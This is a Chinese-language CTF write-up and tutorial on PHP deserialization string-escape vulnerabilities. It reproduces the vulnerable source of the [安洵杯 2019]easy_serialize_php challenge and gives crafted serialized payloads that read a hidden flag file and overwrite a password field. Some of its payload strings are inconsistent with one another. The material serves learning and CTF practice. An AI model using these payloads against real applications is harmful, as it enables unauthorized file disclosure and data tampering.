字符串逃逸
字符串逃逸是通过改变序列化字符串的长度造成的php反序列化漏洞
一般是因为替换函数使得字符串长度发生变化,不论变长还是变短,原理都大致相同
在学习之前,要先了解序列化字符串的结构,在了解结构的基础上才能更好理解要输入多少被过滤的字符串
类型一
用例题的序列化字符串来分析一下吧(字符串变短的情况):
这是序列化后的字符串,过滤的是php,flag
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
目标是img,其中是一个需要读取的php页面的base64编码,需要绕过php的过滤,因为flag会被替换为空,那么就可以利用替换为空时的引号进行闭合来包含需要绕过的地方,相当于把原本不会被过滤的一个位置置空,将需要绕过的地方放到不会被不会被过滤的地方
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
//当flag被替换为空后是这样的(这里我用#代替空方便查看)
a:3:{s:4:"user";s:24:"#";s:8:"function";s:59:"a#";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这样一来被#包裹的字符串就成了user的属性值,那么function的位置就被#后面的字符串占据
在序列化的字符串中;}代表的是结束,所以第一个;}后面的字符串就是被丢弃的
s:2:"dd";s:1:"a",这部分字符串是自己添加的,因为有一个属性消失了,但是原本的属性数量是三个,所以添加一个,保持数量不变,否则会报错
[安洵杯 2019]easy_serialize_php
打开环境,点击source看见源码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
代码里面提示在phpinfo里面可能有我们想要的,访问看看,有个flag.php想办法访问(auto_append_file在所有页面底部自动包含文件,所以自动包含了这个文件)
有两个关键的部分
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
第一,替换函数会匹配$img中的php,flag等字符串替换为空;
第二,当function=='shou_image'时,会读取$userinfo的值,参数为img
我们需要访问读取的页面是后缀为php,如果直接放在img中就会存在过滤,所以要利用替换函数进行字符串逃逸,使得目标页面能够成功读取
开始构造payload
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';//d0g3_f1ag.php base64编码
var_dump(serialize($_SESSION));
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
进行序列化后,通过分析我们需要把img的属性值放在function的位置来执行,这样既满足了img为参数,也绕过了替换函数,就是相当于我们吞掉了function,那么因为之前有三个属性,所以我们需要在添加一个属性,否则就会执行失败(注意属性长度要一致,不然过滤后,如果引号不能闭合会报错)
<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1;"b";s:"2":"bb"}';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';//d0g3_f1ag.php base64编码
var_dump(serialize($_SESSION));
进行传参
把/d0g3_fllllllag进行base64编码
PS:
在构造这部分时我自己出现了点问题
<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1;"b";s:"2":"bb"}';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';//d0g3_f1ag.php base64编码
var_dump(serialize($_SESSION));
对于function的赋值,起初我的赋值是
";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1;"b";s:"2":"bb"}'
但是这样的赋值是报错的
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:58:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
因为这样的赋值会导致序列化后出现两个引号中间为空,那么引号的闭合也就出现了问题
类型二
字符串替换后变长的情况
在大佬的博客找的实验代码,目的是在不修改$pass的值时间接的修改密码
<?php
function filter($str){
return str_replace('bb', 'ccc', $str);
}
class A{
public $name='aaaa';
public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));
$c=unserialize($res);
echo $c->pass;
?>
先运行一下这个代码看看输出什么
O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}
123456
输出了序列化之后的字符串和密码,观察替换函数,匹配到'bb'替换为'ccc',每次替换就会多出一个一个字符,我们用'bb'序列化后看一下
O:1:"A":2:{s:4:"name";s:2:"bb";s:4:"pass";s:6:"123456";}
序列化之后,属性的长度为2,并且这个长度在序列化后就是固定的,即使替换函数也不会改变,这是能够逃逸的一个关键,因为是先进行了序列化才进行的替换既然这样替换后的字符串应该是这样的
O:1:"A":2:{s:4:"name";s:2:"bb";s:4:"pass";s:6:"123456";}//没有发生替换的
O:1:"A":2:{s:4:"name";s:2:"ccc";s:4:"pass";s:6:"123456";}//发生替换的
这样的话name属性的值就只能读取两个长度,所以有一个c就不会被读取,就逃逸了filter对str的检测;想要对pass进行修改的话只要逃逸的字符数等于剩余部分的字符长度就可以,后面的字符串有27个,所以需要27个‘bb’
O:1:"A":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"456789";}";s:4:"pass";s:6:"123456";}
456789
分析一下最后的字符串
为什么这样就能逃逸呢?我来讲一下我的理解
首先':}'代表着结束,所以红线的部分相当于不被执行,那么就只有前面name属性的值是被执行的,但是为什么pass属性的值不被执行但是还是要对pass进行序列化呢,这是因为要满足前面属性的数量为2,否则如果只有name一个属性,在序列化后的字符串被执行时,属性数量和实际数量不符,会报错;
所以,我认为逃逸就是利用';}'来做一个相当于闭合的作用,把我们想要执行但是会被过滤的内容放在一个安全的位置去执行